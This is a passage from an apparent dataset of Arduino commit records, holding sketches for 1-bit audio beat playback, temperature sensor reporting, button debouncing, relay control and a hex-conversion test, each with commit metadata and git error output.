0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xE0, 0x82, 0x3F, 0x10, 0x77, 0x02, 0xFC, \n0x13, 0xFC, 0x27, 0xC2, 0xFD, 0xC1, 0xFE, 0x0F, 0xE1, 0xE7, 0xE5, 0xEF, 0x27, 0xD3, 0x0C, \n0xFE, 0x61, 0xEE, 0x6C, 0x7E, 0x01, 0xF0, 0x7C, 0x7C, 0x71, 0x87, 0x5C, 0x07, 0x98, 0x0F, \n0x86, 0xE0, 0x0F, 0x04, 0x78, 0xE2, 0x3E, 0xC0, 0x3E, 0x33, 0xB0, 0x70, 0x1B, 0x83, 0x10, \n0x58, 0xE0, 0x7C, 0x0F, 0xF0, 0x07, 0xF8, 0x0F, 0x86, 0xE4, 0x3E, 0x07, 0xF0, 0xC6, 0x17, \n0xBC, 0x0F, 0x83, 0xFC, 0x60, 0x7E, 0xC1, 0xE1, 0xDC, 0x1D, 0x83, 0xE0, 0x7E, 0x17, 0x1F, \n0x80, 0xCE, 0xE0, 0x87, 0xC1, 0xFF, 0x01, 0xF8, 0x02, 0xF0, 0x0F, 0xC0, 0x3F, 0x84, 0x1C, \n0x1F, 0x01, 0xC8, 0x3E, 0x07, 0xE1, 0x31, 0xF8, 0x40, 0xFE, 0x01, 0xFC, 0x07, 0xF0, 0x1F, \n0x81, 0xF8, 0x1F, 0x81, 0xFC, 0x0D, 0xF0, 0x8F, 0x80, 0xF8, 0xFF, 0xC0, 0x65, 0xCC, 0xE0, \n0x07, 0xD0, 0x38, 0x7E, 0x00, 0x61, 0xC0, 0xE6, 0x13, 0xD2, 0x0C, 0x7E, 0x00, 0xF0, 0x01, \n0xF8, 0x70, 0x78, 0x0F, 0xC0, 0x07, 0xF8, 0x61, 0xE0, 0x7F, 0x00, 0x3F, 0xF0, 0xE3, 0xF0, \n0x8F, 0x81, 0xCF, 0x63, 0x83, 0x80, 0xFE, 0x08, 0x3F, 0xE3, 0xE3, 0x01, 0xFE, 0x07, 0xFC, \n0x03, 0xF8, 0x07, 0xBA, 0x30, 0x10, 0xEF, 0x80, 0x07, 0xFC, 0x11, 0xFC, 0x03, 0xF0, 0x7F, \n0x80, 0x7F, 0x03, 0xF7, 0x57, 0x82, 0x1D, 0xF0, 0x80, 0xFF, 0xC0, 0x3F, 0x80, 0x5F, 0xE0, \n0xE1, 0xCF, 0xD0, 0x0F, 0xA8, 0x60, 0x7F, 0x00, 0x1D, 0x7C, 0x03, 0xF0, 0x70, 0xE3, 0xF8, \n0x07, 0x80, 0x38, 0x3F, 0x81, 0xF8, 0x1F, 0xC0, 0x3B, 0x61, 0xE0, 0x05, 0xBF, 0x0C, 0xC6, \n0x30, 0x47, 0xC1, 0xF8, 0x0F, 0xF0, 0x1D, 0xE0, 0xF8, 0x03, 0xDF, 0x8E, 0x43, 0x10, 0x63, \n0xC1, 0xE0, 0x01, 0xFC, 0x05, 0xC0, 0x7E, 0x03, 0xE2, 0x1C, 0xC0, 0x57, 0x03, 0xE0, 0x78, \n0x02, 0x3E, 0x03, 0x70, 0x3F, 0x80, 0xF8, 0x87, 0x30, 0x0D, 0xE1, 0xE0, 0xD4, 0x0F, 0x83, \n0xBA, 0xC0, 0x2F, 0xA0, 0x1E, 0x40, 0x7F, 0x0B, 0x03, 0xE0, 0x30, 0xFC, 0x18, 0x0F, 0xC0, \n0x14, 0x79, 0xC8, 0x02, 0xFA, 0x03, 0xCC, 0x07, 0xF0, 0x20, 0x7E, 0x07, 0x0F, 0x0F, 0x00, \n0xFB, 0xC0, 0xFF, 0x0C, 0x67, 0x80, 0x7F, 0x00, 0x7F, 0x00, 0x0E, 0x78, 0xE0, 0x67, 0x86, \n0x83, 0x86, 0x2C, 0x00, 0x7F, 0x04, 0x07, 0x00, 0x7C, 0xE1, 0xD7, 0xC0, 0xCF, 0xE0, 0x0E, \n0xF0, 0x1F, 0xC2, 0x11, 0x8E, 0xEC, 0x3E, 0x00, 0xFF, 0x01, 0xF8, 0x20, 0x18, 0xFE, 0x80, \n0xFC, 0x0F, 0xE0, 0x0F, 0x87, 0xC0, 0x0F, 0xE0, 0x7F, 0x80, 0xF8, 0x7C, 0x00, 0xFF, 0x01, \n0xFC, 0x04, 0x7F, 0x80, 0x3F, 0xFF, 0x01, 0xF8, 0x0F, 0xE0, 0x3F, 0x05, 0x80, 0x1F, 0xE0, \n0x3F, 0x81, 0x87, 0xF0, 0x0F, 0xFC, 0x40, 0x7F, 0x00, 0x8C, 0x1E, 0x01, 0xFE, 0x0E, 0x01, \n0xFC, 0x02, 0x07, 0xF0, 0x01, 0xF8, 0x0E, 0x8F, 0x80, 0xE0, 0x3F, 0x80, 0x20, 0xFE, 0x00, \n0x3F, 0x81, 0xEC, 0xE8, 0x1E, 0x03, 0x08, 0x03, 0xFC, 0x00, 0x1F, 0xE0, 0x3C, 0x1F, 0x80, \n0x3F, 0xC0, 0xFE, 0xE0, 0x0F, 0x03, 0x8C, 0x01, 0xFE, 0x00, 0x1F, 0xF0, 0x1E, 0x8B, 0xC0, \n0xFB, 0x00, 0x7F, 0x01, 0x8E, 0x01, 0x9C, 0xC0, 0x05, 0x86, 0x38, 0xC0, 0x1F, 0xC0, 0x3F, \n0x3C, 0x03, 0xFC, 0x01, 0xFC, 0x06, 0x38, 0x06, 0x73, 0x80, 0x1E, 0x18, 0x5B, 0x80, 0x7F, \n0x80, 0xFF, 0xE0, 0x0F, 0xE4, 0x0D, 0x80, 0x88, 0x3F, 0xC0, 0xB2, 0x10, 0x83, 0xE6, 0x00, \n0x90, 0x1F, 0x30, 0x0F, 0xE0, 0x1F, 0xFC, 0x01, 0xFC, 0x01, 0xB0, 0x11, 0x07, 0xF8, 0x06, \n0x8E, 0x00, 0x78, 0xC0, 0x02, 0x07, 0xE2, 0x00, 0x39, 0xFC, 0x0F, 0x80, 0x1F, 0x80, 0x3F, \n0x80, 0xCF, 0xE0, 0x5F, 0x00, 0x04, 0xFF, 0x00, 0x3E, 0x00, 0x1F, 0x20, 0x7F, 0x00, 0x3F, \n0x80, 0x7E, 0x00, 0x17, 0xFC, 0x02, 0xFC, 0x00, 0x27, 0xE0, 0x1F, 0x01, 0xFC, 0x00, 0x0F, \n0x80, 0xFC, 0x04, 0x09, 0xE0, 0x00, 0x38, 0x20, 0x03, 0xE0, 0x1F, 0x01, 0xFC, 0x00, 0x0F, \n0xC0, 0x7E, 0x06, 0xA4, 0xE0, 0x06, 0x08, 0x77, 0x81, 0xFF, 0x80, 0x07, 0xFC, 0x00, 0x01, \n0xFC, 0x01, 0x9C, 0xBC, 0x00, 0x05, 0xC0, 0xF0, 0x06, 0x60, 0xF0, 0x02, 0xC0, 0x77, 0x81, \n0xFF, 0x80, 0x07, 0xFC, 0x00, 0x01, 0xFC, 0x00, 0x8E, 0xB8, 0x03, 0xC0, 0x07, 0xE0, 0x0E, \n0x78, 0x6E, 0x01, 0xF0, 0x0F, 0x44, 0x0E, 0x78, 0x03, 0xE1, 0x01, 0xE0, 0xCC, 0x05, 0xE8, \n0x80, 0xFF, 0x00, 0x1E, 0xE0, 0x3C, 0x18, 0xC0, 0xB8, 0x18, 0x0F, 0xE0, 0x00, 0xFC, 0x03, \n0x9C, 0x1C, 0x08, 0x07, 0x40, 0xFC, 0x00, 0x7E, 0x00, 0x03, 0x07, 0x80, 0x01, 0xF0, 0x0F, \n0x80, 0x1F, 0x00, 0xC0, 0x38, 0x20, 0x46, 0x02, 0xE0, 0x00, 0x18, 0x70, 0x07, 0xE0, 0x3E, \n0xE0, 0x70, 0x00, 0x3E, 0x01, 0xF0, 0x01, 0xF0, 0x08, 0x03, 0x82, 0x00, 0xE0, 0xFC, 0x04, \n0x31, 0x0F, 0x80, 0x78, 0x07, 0xF8, 0x07, 0xF0, 0x1E, 0x23, 0x80, 0xE0, 0x3C, 0x07, 0x80, \n0x7F, 0x80, 0x07, 0x80, 0xF0, 0x01, 0xF8, 0x00, 0xF0, 0x3F, 0xC0, 0x1F, 0x80, 0xFE, 0x18, \n0x0F, 0x03, 0x80, 0x78, 0x0F, 0xFC, 0x00, 0x3C, 0x07, 0xF8, 0x03, 0xE0, 0x1F, 0x84, 0x03, \n0xE0, 0xE0, 0x3E, 0x03, 0xF0, 0x00, 0xF0, 0x1F, 0x0F, 0xC0, 0x38, 0x06, 0xFC, 0x03, 0xC0, \n0x0E, 0x00, 0x7C, 0x01, 0xE0, 0x38, 0x06, 0xE4, 0x0F, 0xC0, 0x3E, 0x01, 0xFC, 0x10, 0x7C, \n0x00, 0x3F, 0x80, 0x3E, 0x00, 0x0B, 0x80, 0xF0, 0xD8, 0x03, 0xE0, 0x6F, 0x40, 0xFC, 0x03, \n0xF0, 0x1F, 0xC1, 0x07, 0xC0, 0x03, 0xF8, 0x03, 0xC0, 0x31, 0x88, 0x0F, 0x00, 0x81, 0xCE, \n0x01, 0xFE, 0x07, 0xE0, 0xFC, 0x00, 0x60, 0x0F, 0x00, 0x0F, 0x83, 0x87, 0x00, 0x37, 0x00, \n0x7F, 0x00, 0x1E, 0x11, 0x03, 0x8C, 0x03, 0xFC, 0x0F, 0xC0, 0xF8, 0x00, 0xC0, 0x1E, 0x00, \n0x1F, 0x07, 0x0E, 0x00, 0xFE, 0x00, 0x7C, 0x43, 0x00, 0x7C, 0x03, 0x84, 0x00, 0x30, 0x00, \n0x87, 0xC0, 0x7C, 0x00, 0xFC, 0x1F, 0x80, 0x04, 0x04, 0x08, 0x00, 0x01, 0xF8, 0x03, 0x00, \n0x3F, 0x07, 0xE0, 0x03, 0x01, 0x8E, 0x00, 0xC0, 0x3F, 0x00, 0x80, 0x1E, 0x02, 0xF8, 0x0A, \n0x00, 0xFC, 0x06, 0x00, 0xE3, 0x00, 0x78, 0x03, 0xE0, 0x10, 0x03, 0xC0, 0xBF, 0x06, 0x00, \n0x3F, 0x80, 0xC0, 0x3D, 0xC0, 0x3F, 0x00, 0xF0, 0x06, 0x00, 0x1F, 0x01, 0xF0, 0x0F, 0xC0, \n0x38, 0x00, 0xF8, 0x07, 0x80, 0x7E, 0x01, 0xE0, 0x09, 0xC0, 0x0F, 0x80, 0x08, 0x43, 0xC0, \n0x0F, 0x00, 0xFC, 0x03, 0x80, 0x01, 0xB0, 0x1F, 0x00, 0x10, 0x9F, 0x80, 0x1F, 0x00, 0x00, \n0x81, 0x1F, 0x81, 0xFC, 0x00, 0x3E, 0x00, 0x00, 0xE0, 0x01, 0xF0, 0x03, 0xE0, 0x3D, 0x80, \n0x0F, 0x80, 0x00, 0x1C, 0x00, 0x7E, 0x00, 0xC6, 0x02, 0x20, 0x4C, 0x01, 0x90, 0x1F, 0x00, \n0x79, 0x00, 0x00, 0x0C, 0x00, 0xFC, 0x03, 0xFC, 0x00, 0x40, 0x00, 0x01, 0xE0, 0x01, 0xC0, \n0x00, 0x30, 0x00, 0x06, 0xC0, 0x18, 0x81, 0xF8, 0x03, 0xF8, 0x00, 0x01, 0xD0, 0x03, 0xE0, \n0x00, 0x07, 0x80, 0x3E, 0x00, 0x07, 0x80, 0x3F, 0x00, 0xFE, 0x02, 0xF8, 0x00, 0x60, 0x03, \n0x01, 0x30, 0x00, 0x07, 0xC0, 0x1E, 0x00, 0x07, 0x80, 0x3F, 0x80, 0x7E, 0x01, 0x78, 0x00, \n0x7A, 0x01, 0xE0, 0x38, 0x00, 0x1F, 0xC0, 0x06, 0x06, 0x03, 0x00, 0x0F, 0xE0, 0x00, 0xFC, \n0x03, 0x80, 0x7E, 0x01, 0xF0, 0x0C, 0x00, 0x30, 0x00, 0x38, 0x00, 0x07, 0xE0, 0x07, 0x02, \n0x03, 0x00, 0x07, 0xE0, 0x00, 0xFC, 0x01, 0xD0, 0x7E, 0x01, 0xF0, 0x07, 0x00, 0x7C, 0x03, \n0xB8, 0x10, 0x01, 0xE0, 0x07, 0xE0, 0x3C, 0x07, 0x80, 0x30, 0x00, 0x3C, 0x00, 0x30, 0x00, \n0x03, 0xC0, 0x07, 0x00, 0x0E, 0x00, 0xE0, 0x18, 0x01, 0xE0, 0x0D, 0xC0, 0x7F, 0x00, 0x80, \n0x3E, 0x00, 0x7C, 0x01, 0x80, 0xE0, 0x07, 0x00, 0x07, 0x80, 0x07, 0x00, 0x60, 0x38, 0x01, \n0x60, 0xCC, 0xC0, 0x7F, 0x00, 0x80, 0x1F, 0x40, 0x3B, 0x00, 0x1E, 0x00, 0x03, 0xE0, 0x01, \n0xC0, 0x03, 0xC0, 0x02, 0xC0, 0x00, 0x60, 0x00, 0x60, 0x02, 0x00, 0x00, 0x20, 0x00, 0x30, \n0x00, 0x02, 0x02, 0xE0, 0x00, 0x00, 0x06, 0x00, 0x01, 0x80, 0x18, 0xC0, 0x00, 0x40, 0x00, \n0x00, 0x05, 0xC0, 0x00, 0xC0, 0x18, 0x01, 0x00, 0x00, 0x61, 0x03, 0x80, 0x00, 0x60, 0x00, \n0x1F, 0x00, 0x00, 0x20, 0x0C, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x38, 0x40, 0xE0, 0x00, \n0x18, 0x00, 0x06, 0xC0, 0x00, 0x0C, 0x07, 0x00, 0x03, 0xC0, 0x1C, 0x00, 0x00, 0x1F, 0x81, \n0xC0, 0x00, 0x00, 0x00, 0x04, 0xC0, 0x07, 0xC0, 0x1E, 0x00, 0x00, 0x06, 0x00, 0x0E, 0x01, \n0xE0, 0x03, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0xF0, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x17, 0x00, 0x3F, 0x00, 0xF0, 0x03, 0x00, 0x11, 0x00, 0x00, 0x0F, 0x00, 0x78, \n0x00, 0x00, 0x3E, 0x00, 0x61, 0x00, 0x02, 0x00, 0x1F, 0x00, 0x1E, 0x00, 0x30, 0x03, 0x80, \n0x30, 0x03, 0x80, 0x1F, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0F, \n0x00, 0x1F, 0x00, 0x30, 0x01, 0x80, 0x10, 0x03, 0x80, 0x1F, 0x00, 0x00, 0x00, 0x18, 0x00, \n0x01, 0xE0, 0x0F, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x03, 0x00, 0x00, 0xE0, 0x00, 0x20, 0x00, \n0x08, 0x00, 0xE0, 0x04, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x0E, 0x00, 0x02, 0x00, 0x00, \n0x00, 0x1C, 0x01, 0xC0, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x1C, 0x00, \n0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x03, 0xC0, 0x01, \n0x00, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x00\n};\n\n\/* beat 1 sample *\/\n#define BC_BIT_COUNT_1 44032\n#define BC_BYTE_COUNT_1 5504\n\/* beat 2 sample *\/\n#define BC_BIT_COUNT_2 44032\n#define BC_BYTE_COUNT_2 5504\n\/* beat 3 *\/\n#define BC_BIT_COUNT_3 44032\n#define BC_BYTE_COUNT_3 5504\n\/* beat 4 *\/\n#define BC_BIT_COUNT_4 44032\n#define BC_BYTE_COUNT_4 5504\n\n\n\n#define SPK_PIN 5\n\nvoid setup(){ pinMode(SPK_PIN, OUTPUT); }\n\nvoid loop(){\n\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback_r(onebitraw_2, BC_BYTE_COUNT_2);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback_r(onebitraw_3, BC_BYTE_COUNT_3);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback(onebitraw_4, BC_BYTE_COUNT_4);\n\nplayback_r(onebitraw_1, BC_BYTE_COUNT_1);\nplayback_r(onebitraw_1, BC_BYTE_COUNT_1);\nplayback_r(onebitraw_1, BC_BYTE_COUNT_1);\nplayback_r(onebitraw_2, BC_BYTE_COUNT_2);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback(onebitraw_3, BC_BYTE_COUNT_3);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback(onebitraw_1, BC_BYTE_COUNT_1);\nplayback_r(onebitraw_4, BC_BYTE_COUNT_4);\n\nint z;\nfor (z = 0; z < 4; z++){\n playback(onebitraw_1, BC_BYTE_COUNT_1 \/4);\n playback(onebitraw_2 + (BC_BYTE_COUNT_1 \/4), BC_BYTE_COUNT_1 \/4);\n playback_r(onebitraw_3 + (BC_BYTE_COUNT_1 \/2), BC_BYTE_COUNT_1 \/4); \n playback(onebitraw_2 + ((BC_BYTE_COUNT_1 \/4) + (BC_BYTE_COUNT_1 \/2)) , BC_BYTE_COUNT_1 \/4);\n}\n playback(onebitraw_1, BC_BYTE_COUNT_4);\n playback(onebitraw_1, BC_BYTE_COUNT_4);\n playback(onebitraw_1, BC_BYTE_COUNT_4);\n playback(onebitraw_3, BC_BYTE_COUNT_4);\n\nfor (z = 0; z < 4; z++){\n playback_r(onebitraw_1, BC_BYTE_COUNT_1 \/4);\n playback_r(onebitraw_2 + (BC_BYTE_COUNT_1 \/4), BC_BYTE_COUNT_1 \/4);\n playback(onebitraw_3 + (BC_BYTE_COUNT_1 \/2), BC_BYTE_COUNT_1 \/4); \n playback_r(onebitraw_2 + ((BC_BYTE_COUNT_1 \/4) + (BC_BYTE_COUNT_1 \/2)) , BC_BYTE_COUNT_1 \/4);\n}\n\n playback_r(onebitraw_2, BC_BYTE_COUNT_4);\n playback_r(onebitraw_2, BC_BYTE_COUNT_4);\n playback_r(onebitraw_2, BC_BYTE_COUNT_4);\n playback_r(onebitraw_4, BC_BYTE_COUNT_4);\n\n playback(onebitraw_1, BC_BYTE_COUNT_4);\n playback(onebitraw_1, BC_BYTE_COUNT_4);\n playback(onebitraw_1, BC_BYTE_COUNT_4);\n playback(onebitraw_2, BC_BYTE_COUNT_4);\n\n playback_s(onebitraw_1, BC_BYTE_COUNT_4,2);\n playback_s(onebitraw_1, BC_BYTE_COUNT_4,2);\n \n playback_s(onebitraw_1, BC_BYTE_COUNT_4,4);\n playback_s(onebitraw_2, BC_BYTE_COUNT_4,2);\n playback_s(onebitraw_3, BC_BYTE_COUNT_4,4);\n playback_s(onebitraw_4, BC_BYTE_COUNT_4,2);\n \n delay(3000);\n}\n\nvoid playback(prog_uchar *sample_ptr, unsigned int length) {\n unsigned char bite; int col; col = 0; int i;\n for(i=0;i<length;i++){\n bite = pgm_read_byte_near(sample_ptr + i);\n unsigned char mask = 1; unsigned char copy = bite; int z;\n for (z=0;z<8;z++) {\n digitalWrite(SPK_PIN, copy & mask);\n copy = copy >> 1;\n delayMicroseconds(25);\n }\n }\n}\nvoid playback_r(prog_uchar *sample_ptr, unsigned int length) {\n unsigned char bite; int col; col = 0; int i;\n for(i=0;i<length;i++){\n bite = pgm_read_byte_near(sample_ptr + length - i);\n unsigned char mask = 1; unsigned char copy = bite; int z;\n for (z=0;z<8;z++) {\n digitalWrite(SPK_PIN, copy & mask);\n copy = copy >> 1;\n delayMicroseconds(25);\n }\n }\n}\nvoid playback_s(prog_uchar *sample_ptr, unsigned int length,unsigned int speed) {\n unsigned char bite; int col; col = 0; int i;\n for(i=0;i<length;i++){\n bite = pgm_read_byte_near(sample_ptr + length - i);\n unsigned char mask = 1; unsigned char copy = bite; int z;\n for (z=0;z<8;z++) {\n digitalWrite(SPK_PIN, copy & mask);\n copy = copy >> 1;\n delayMicroseconds(25*speed);\n }\n }\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/example\/example_6.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8b81bd258e7d5d457a57ccd7b007a83bfd5f7cf4","subject":"Add Arduino code for reporting temperature sensor data.","message":"Add Arduino code for reporting temperature sensor data.\n","repos":"turmoni\/temp-probe-exporter,turmoni\/temp-probe-exporter","old_file":"arduino\/tempsens\/tempsens.ino","new_file":"arduino\/tempsens\/tempsens.ino","new_contents":"#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\/\/ Change these if appropriate\n\/\/ The pin that sensors are connected to\n#define ONE_WIRE_BUS 2\n\/\/ What precision to set the sensor to\n#define TEMPERATURE_PRECISION 11\n\nOneWire one_wire(ONE_WIRE_BUS);\nDallasTemperature sensors(&one_wire);\n\n\/\/ We will store an array of probes we find on initial startup. If you have\n\/\/ more than 20 probes, feel free to bump this number and see if it'll actually\n\/\/ work at all.\nDeviceAddress probes[20];\nint num_probes = 0;\n\nvoid setup() {\n Serial.begin(9600);\n sensors.begin();\n\n \/\/ Set all devices to the same resolution\n sensors.setResolution(TEMPERATURE_PRECISION);\n\n \/\/ Find our sensors, use num_probes as a handy counter.\n one_wire.reset_search();\n while (one_wire.search(probes[num_probes])) {\n num_probes++;\n }\n}\n\nvoid print_address(DeviceAddress device_address) {\n \/\/ Device address is 8 bytes, iterate over them.\n for (byte i = 0; i < 8; i++) {\n if (device_address[i] < 16) {\n Serial.print(\"0\");\n }\n Serial.print(device_address[i], HEX);\n }\n}\n\nvoid print_reading(DeviceAddress device_address) {\n \/\/ Print out data in the form of ADDRESS:TEMPERATURE\n \/\/ This bit's annoying enough to get its own function\n print_address(device_address);\n Serial.print(\":\");\n Serial.print(sensors.getTempC(device_address));\n Serial.print('\\n');\n}\n\nvoid loop() {\n \/\/ Make sure we're not just spitting out some constant meaningless numbers\n sensors.requestTemperatures();\n for (int i = 0; i < num_probes; i++) {\n print_reading(probes[i]);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/tempsens\/tempsens.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"01f91b11e333b7bc7a25514413289c3775fcf6b9","subject":"Button test with internal pullup","message":"Button test with internal pullup\n","repos":"dkuulis\/folkrace,dkuulis\/folkrace","old_file":"utils\/button\/button.ino","new_file":"utils\/button\/button.ino","new_contents":"\/* \n Button debounce \/ test\n *\/\n\n\/\/ constants won't change. They're used here to set pin numbers\n#define BUTTON_PIN 8 \/\/ the number of the pushbutton pin\n#define LED_PIN 13 \/\/ the number of the LED pin\n\n\/\/ Variables will change:\nint ledState = HIGH; \/\/ the current state of the output pin\nint buttonState; \/\/ the current reading from the input pin\nint lastButtonState = LOW; \/\/ the previous reading from the input pin\n\n\/\/ the following variables are long's because the time, measured in miliseconds,\n\/\/ will quickly become a bigger number than can be stored in an int.\nunsigned long lastDebounceTime = 0; \/\/ the last time the output pin was toggled\nunsigned long debounceDelay = 50; \/\/ the debounce time; increase if the output flickers\n\nvoid setup()\n{\n pinMode(BUTTON_PIN, INPUT_PULLUP);\n pinMode(LED_PIN, OUTPUT);\n}\n\nvoid loop()\n{\n \/\/ read the state of the switch into a local variable:\n int reading = digitalRead(BUTTON_PIN);\n\n \/\/ check to see if you just pressed the button \n \/\/ (i.e. the input went from LOW to HIGH), and you've waited \n \/\/ long enough since the last press to ignore any noise: \n\n \/\/ If the switch changed, due to noise or pressing:\n if (reading != lastButtonState)\n {\n \/\/ reset the debouncing timer\n lastDebounceTime = millis();\n } \n \n if ((millis() - lastDebounceTime) > debounceDelay)\n {\n \/\/ whatever the reading is at, it's been there for longer\n \/\/ than the debounce delay, so take it as the actual current state:\n buttonState = reading;\n }\n \n \/\/ set the LED using the state of the button:\n digitalWrite(LED_PIN, buttonState);\n\n \/\/ save the reading. Next time through the loop,\n \/\/ it'll be the lastButtonState:\n lastButtonState = reading;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'utils\/button\/button.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"df0e8bf263ece2489a3d0a2a09bcd0a08c34d2de","subject":"Create sensorflare-relayboard.ino","message":"Create sensorflare-relayboard.ino","repos":"LPFraile\/Sensorflare-SparkCore","old_file":"sensorflare-relayboard.ino","new_file":"sensorflare-relayboard.ino","new_contents":"\/\/Include the SensorFlare library \n#include \"sensorflare.h\"\n\n\/\/Initialize objects from the library\n\/\/One object of the class \"DigitalOut\" is initialized for \n\/\/every digital output that will be remote control\nSensorFlare::DigitalOut outputPin1(D7);\nSensorFlare::DigitalOut outputPin2(D6);\nSensorFlare::DigitalOut outputPin3(D5);\nSensorFlare::DigitalOut outputPin4(D4);\n\nvoid setup() {\n \n\/\/ Call the begin() functions for every object of the classes \"DigitalOut\" and \n\/\/\"PWMout\" to be wired up correct and available.\n outputPin1.begin();\n outputPin2.begin();\n outputPin3.begin();\n outputPin4.begin();\n\n}\n\nvoid loop() {\n \n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensorflare-relayboard.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"3e90e27c3697f7f53eb4984d5f9cbffe38373a9f","subject":"Code sorting and remote GPIO control thru serial commands","message":"Code sorting and remote GPIO control thru serial commands\n","repos":"jadalqui\/ha_arduino,jadalqui\/ha_arduino","old_file":"ha_esp8266\/ha_esp8266.ino","new_file":"ha_esp8266\/ha_esp8266.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jadalqui\/ha_arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ff84f67d1dc9b0f5043e725a7d60f23d285dcf71","subject":"REV14 hardware test","message":"REV14 hardware test","repos":"opentrv\/OpenTRV-Arduino-V0p2,opentrv\/OpenTRV-Arduino-V0p2,opentrv\/OpenTRV-Arduino-V0p2","old_file":"hardware\/REV14\/rn2483test\/rn2483test.ino","new_file":"hardware\/REV14\/rn2483test\/rn2483test.ino","new_contents":"uint8_t ch = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(19200);\n Serial.println(\"start\");\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n uint8_t inBuf[64];\n uint8_t outBuf[128];\n\n for(uint8_t i = 0; i < sizeof(inBuf); i++) {\n inBuf[i] = i + (ch * sizeof(inBuf));\n }\n\n Serial.print(\"ReturnVal: \");\n Serial.println(getHex(inBuf, outBuf, sizeof(outBuf)));\n for(uint8_t i = 0; i < sizeof(inBuf); i++) {\n Serial.print(inBuf[i], HEX);\n }\n Serial.println();\n Serial.write(outBuf, sizeof(outBuf));\n Serial.println();\n Serial.println();\n ch++;\n while (ch == 4) {}\n delay(500);\n}\n\nbool getHex(const uint8_t *string, uint8_t *output, uint8_t outputLen)\n{\n if((string || output) == NULL) return false; \/\/ check for null pointer\n uint8_t counter = outputLen;\n \/\/ convert to hex\n while(counter) {\n uint8_t highValue = *string >> 4;\n uint8_t lowValue = *string & 0x0f;\n uint8_t temp;\n \n temp = highValue;\n if(temp <= 9) temp += '0';\n else temp += ('A' - 10);\n *output++ = temp;\n\n temp = lowValue;\n if(temp <= 9) temp += '0';\n else temp += ('A'-10);\n *output++ = temp;\n\n string++;\n counter -= 2;\n }\n return true;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/REV14\/rn2483test\/rn2483test.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"168c3e5e9dae932643d238394704a9c34a51cf25","subject":"not all the motion must happen in the interrupt routines","message":"not all the motion must happen in the interrupt routines\n\nit takes too long\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"3cdf57e4b9ed0997531a6634b226a24c300eb2d0","subject":"ok, setting the start signeals for the motors","message":"ok, setting the start signeals for the motors\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: 